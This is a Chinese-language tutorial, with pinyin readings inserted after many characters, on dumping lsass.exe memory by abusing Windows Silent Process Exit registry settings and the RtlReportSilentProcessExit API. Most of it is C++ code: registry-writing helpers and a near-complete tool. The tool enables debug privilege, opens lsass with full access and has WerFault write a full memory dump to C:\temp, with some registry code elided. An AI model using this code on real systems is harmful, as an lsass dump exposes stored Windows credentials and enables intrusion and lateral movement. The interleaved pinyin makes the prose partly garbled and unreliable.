如果我們要對(duì)某進(jìn)程使用靜默退出,我們可以在注冊(cè)表中如下設(shè)置,將GlobalFlag值設(shè)置為0x200,當(dāng)然我們需要先設(shè)置ProcessName項(xiàng)指定進(jìn)程。
前言
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),文章作者不為此承擔(dān)任何責(zé)任。(本文僅用于交流學(xué)習(xí))
基礎(chǔ)知識(shí)
我們先來(lái)看看什么是靜默退出,在Windows7開(kāi)始,就可以設(shè)置對(duì)指定進(jìn)程的靜默退出(官方術(shù)語(yǔ)是"無(wú)提示進(jìn)程退出")。監(jiān)視功能不會(huì)檢測(cè)進(jìn)程最后一個(gè)線程退出時(shí)發(fā)生的正常進(jìn)程終止,監(jiān)視功能不會(huì)檢測(cè)由內(nèi)核模式代碼啟動(dòng)的進(jìn)程終止。
如果我們要對(duì)某進(jìn)程使用靜默退出,我們可以在注冊(cè)表中如下設(shè)置,將GlobalFlag值設(shè)置為0x200,當(dāng)然我們需要先設(shè)置ProcessName項(xiàng)指定進(jìn)程
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag
我們還可以配置當(dāng)進(jìn)程以無(wú)提示方式退出時(shí)要執(zhí)行的操作??梢耘渲猛ㄖ?、事件日志記錄和轉(zhuǎn)儲(chǔ)文件的創(chuàng)建,因?yàn)槲覀円狣ump,因此我們重點(diǎn)關(guān)心轉(zhuǎn)儲(chǔ)文件的創(chuàng)建。
這里有全局配置與應(yīng)用程序設(shè)置兩種
- 全局設(shè)置:適用于靜默退出監(jiān)視的所有進(jìn)程,在注冊(cè)表中的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
- 應(yīng)用程序設(shè)置:設(shè)用于單個(gè)進(jìn)程的設(shè)置,在注冊(cè)中設(shè)置的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
我們這里選擇應(yīng)用程序設(shè)置即可,沒(méi)必要使用全局的設(shè)置。還有很多設(shè)置,但是這里我們只看我們需要使用的,所有我們來(lái)看看報(bào)告模式,大致就是檢測(cè)到進(jìn)程靜默退出后,執(zhí)行的操作(但是此設(shè)置不能用于全局設(shè)置)

ReportingMode有三個(gè)值可以設(shè)置,這里我們選擇LOCAL_DUMP(0x2)
既然我們使用轉(zhuǎn)儲(chǔ)文件,那么還需要指定轉(zhuǎn)儲(chǔ)文件的位置

LocalDumpFolder所對(duì)應(yīng)的值即可我們轉(zhuǎn)儲(chǔ)文件所存放的位置,那對(duì)于我們的轉(zhuǎn)儲(chǔ)文件有沒(méi)有大小的限制呢,默認(rèn)情況下是沒(méi)有限制的。
我們還需要看看轉(zhuǎn)儲(chǔ)類型

我們可以設(shè)置DumpType的值去指定我們需要轉(zhuǎn)儲(chǔ)的類型,上面圖片可能看不太明白,這不影響,我們可以設(shè)置為2,為什么設(shè)置為2我們看看如下

然后就是最重要的一步了,如何使進(jìn)程崩潰(lsass.exe進(jìn)程崩潰的話會(huì)導(dǎo)致機(jī)器重啟),顯然真的讓其崩潰肯定不可取。我們可以利用RtlReportSilentProcessExit這個(gè)函數(shù)API,該API會(huì)與Windows錯(cuò)誤報(bào)告服務(wù)(WerSvcGroup下的WerSvc)通信,告訴服務(wù)該進(jìn)程正在執(zhí)行靜默退出。然后,WER服務(wù)將啟動(dòng)WerFault.exe,該文件將轉(zhuǎn)儲(chǔ)現(xiàn)有進(jìn)程。但是調(diào)用此API不會(huì)導(dǎo)致進(jìn)程退出。所有這一步就解決了。
關(guān)于RtlReportSilentProcessExit函數(shù)的定義

現(xiàn)在應(yīng)該思路很清晰了吧,我們可以寫(xiě)個(gè)簡(jiǎn)單的利用程序來(lái)幫助我們自動(dòng)化Dump,我們可以利用Windows API函數(shù)幫助我們?nèi)ピO(shè)置這些值,這里主要用到RegCreateKeyExW、RegSetValueExW,對(duì)于這兩個(gè)函數(shù)的用法與用途,我們來(lái)簡(jiǎn)單的介紹一下
RegCreateKeyExW
該函數(shù)主要用于打開(kāi)指定的注冊(cè)表的項(xiàng),如果不存在那么就創(chuàng)建,我們編寫(xiě)一個(gè)簡(jiǎn)單的程序來(lái)看看效果
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \= NULL;
DWORD Result \= NULL;
RegCreateKeyExW(hKey, lpSubKey, 0, NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL, &phkResult, &Result);
if (Result \== 0x00000001L) {
cout << "\[+\] 密鑰不存在且已創(chuàng)建" << endl;
}
else if (Result \== 0x00000002L)
{
cout << "\[+\] 密鑰已存在" << endl;
}
else
{
cout << "\[-\] RegCreateKeyExW Error" << endl;
}
}

RegSetValueExW
該函數(shù)主要就是在指定的子項(xiàng)中設(shè)定指定的數(shù)值
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \= NULL;
LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, &phkResult);
if (Open != ERROR\_SUCCESS) {
cout << "\[-\] Not found" << endl;
return 1;
}
cout << "\[+\] RegOpenKeyExW Success" << endl;
DWORD Test\_Value \= 0x20;
LSTATUS SetValye \= RegSetValueExW(phkResult, L"test", 0, REG\_DWORD, (const BYTE\*)&Test\_Value, sizeof(DWORD));
if (SetValye != ERROR\_SUCCESS) {
cout << "\[-\] RegSetValueExW Error" << endl;
return 1;
}
cout << "\[+\] RegSetValueExW Success" << endl;
}

好了我們現(xiàn)在來(lái)總結(jié)一下步驟
- RegCreateKeyExW、RegSetValueExW設(shè)置注冊(cè)表中的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName 、HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag
- RegCreateKeyExW、RegSetValueExW設(shè)置注冊(cè)表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
- 設(shè)置好后獲取目標(biāo)進(jìn)程,后調(diào)用RtlReportSilentProcessExit
代碼實(shí)現(xiàn)
#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
using namespace std;
typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
_In_ HANDLE ProcessHandle,
_In_ NTSTATUS ExitStatus
);
RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
return 1;
}
cout << "[+] RtlAdjustPrivilege Success" << endl;
}
int GetPid() {
HRESULT hr;
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &ed) == TRUE)
{
while (Process32Next(snapshot, &ed) == TRUE)
{
if ((string)ed.szExeFile == "lsass.exe") {
pid = ed.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return pid;
}
int RegeditSet() {
HKEY hKey = HKEY_LOCAL_MACHINE;
LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
HKEY phkResult;
DWORD Result = NULL;
.............................................................
.............................................................
.............................................................
}
else
{
cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl;
return 1;
}
DWORD ReportingMode = 0x2;
WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp";
DWORD DumpType = 0x2;
.............................................................
.............................................................
.............................................................
if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder != ERROR_SUCCESS
|| RegSetValue_DumpType != ERROR_SUCCESS) {
cout << "[-] RegSetValueExW has an Error " << endl;
return 1;
}
cout << "[+] Success Setting All" << endl;
}
int main() {
if (RegeditSet() == 1) {
return 1;
}
DWORD pid = GetPid();
cout << "[+] Lsass Pid is:" << pid << endl;
SeDebugPrivilege();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
cout << "[-] OpenProcess Error" << endl;
return 1;
}
RtlReportSilentProcessExit(hProcess, 0);
cout << "[+] Path:C:\\tmp" << endl;
}

參考:(建議詳細(xì)閱讀完)??https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit??